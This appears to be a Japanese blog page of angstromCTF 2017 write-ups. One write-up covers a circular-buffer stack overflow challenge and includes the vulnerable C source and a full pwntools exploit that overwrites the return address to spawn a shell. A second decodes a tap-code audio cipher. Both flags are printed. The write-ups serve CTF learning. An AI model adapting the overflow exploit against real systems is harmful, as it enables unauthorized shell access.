angstromCTF 2017

angstromCTF 2017 writeup RUNNING IN CIRCLES

RUNNING IN CIRCLES

BINARY, 50

Our data input program was vulnerable to overflows, so we fixed that by implementing a circular buffer. Now it should be totally secure! See if you can prove us wrong and get the flag on our shell sever. The problem is available as: binary and source.

64ビットELFファイルとCソースファイルがダウンロードできます。Cソースファイルは次のようなものです。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/* I should probably get rid of this... */
void give_shell()
{
gid_t gid = getegid();
setresgid(gid, gid, gid);
system("/bin/sh -i");
}

int main(int argc, char **argv)
{
char buffer[256];
int pos = 0;

printf("Welcome to the circular buffer manager:\n\n");
while(1)
{
int len;
printf("How many bytes? "); fflush(stdout);
scanf("%u", &len);
fgets(buffer, 2, stdin);

if (len == 0) break;

printf("Enter your data: "); fflush(stdout);
if (len < 256 - pos)
{
fgets(&buffer[pos], len, stdin);
pos += len;
}
else
{
fgets(&buffer[pos], 256 - pos, stdin);
len -= (256 - pos);
pos = 0;

fgets(&buffer[0], len, stdin);
pos += len;
}

printf("\n");
}

return 0;
}
最初にバイト数を入力します。256以上を入力した場合、1つ目のfgetsで256バイト読み込み、2つ目で残りを読み込むため、スタックオーバーフローを起こすことができそうです。main関数からの戻りアドレスを書き換えて、シェルを呼び出します。
main関数に入ったとき、スタックは次のような状態になっています。

no title

次のような感じでデータをセットしたいと思います。

1

下記のようなPythonコードを書きます。
#! /usr/bin/python
from pwn import *
import time
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('--local', action='store_true')
args = parser.parse_args()

context.log_level = 'debug'
if args.local:
    p = process('./run_circles')
    cmd =  'cat ./flag.txt'
else:
    shell = ssh(host='shell.angstromctf.com', user='teamxxxxxx', password='zzzzzzzzzzzz')
    p = shell.run('/problems/running_in_circles/run_circles')
    cmd =  'cat /problems/running_in_circles/flag.txt'

p.recvuntil('How many bytes?')
p.sendline('544')

p.recvuntil('Enter your data:')
p.sendline(
    ''
    + 'A' * (256 - 1)
    + 'B' * 256
    + 'C' * 24
    + p64(0x400806) #give_shell
    )
p.recvuntil('How many bytes?')
p.sendline('0')
p.sendline(cmd)
p.sendline('exit')
p.recvall()
実行すると、次のとおりフラグを取得できました。
(略)
[DEBUG] Received 0x2b bytes:
    'actf{you_dont_just_go_around_a_circle_once}'
(略) 
フラグは、
actf{you_dont_just_go_around_a_circle_once}
です。




angstromCTF 2017 writeup KNOCK KNOCK

KNOCK KNOCK

CRYPTO, 30

You have come across a strange audio recording. Can you recover the flag? Note: The flag is not in the actf{} format.

mp3ファイルがダウンロードできます。再生すると机をたたくような音がしています。Audacityでスペクトログラムを表示します。

1

2回、3回、1回、5回、…という風に机をたたくような音がしています。全て1~5回の範囲ですので、2つセットで(1つ目の音の回数-1)×5+2つ目の音の回数=アルファベットの順番ではないかと推測できます。
いろいろググってみると、下記ページのSounds (Tap Code)という暗号が該当するようです。kを除くところがポイントですね。
https://www.geocaching.com/geocache/GC2W5R8_lesson-04-simple-substitution-ciphers-cps101?guid=fd65f123-f5a5-4ee6-8139-67cd70b1479e

1 2 3 4 5
1 a b c d e
2 f g h i j
3 l m n o p
4 q r s t u
5 v w x y z

2-3、1-5、3-1、3-5、3-2、1-5、3-5、3-1、1-5、1-1、4-3、1-5なので、この表に従って復号すると、
フラグは、
helpmeplease
です。

 


 
記事検索
ギャラリー
  • TetCTF 2023 NewYearBot
  • UUT CTF writeup Find The Password
  • UUT CTF writeup The Puzzle
  • Hack Zone Tunisia 2019 writeup Microscope
  • Hack Zone Tunisia 2019 writeup Welcome
  • SwampCTF 2019 writeup Brokerboard
  • SwampCTF 2019 writeup Leap of Faith
  • SwampCTF 2019 writeup Last Transmission
  • CBM CTF 2019 writeup Long road
カテゴリー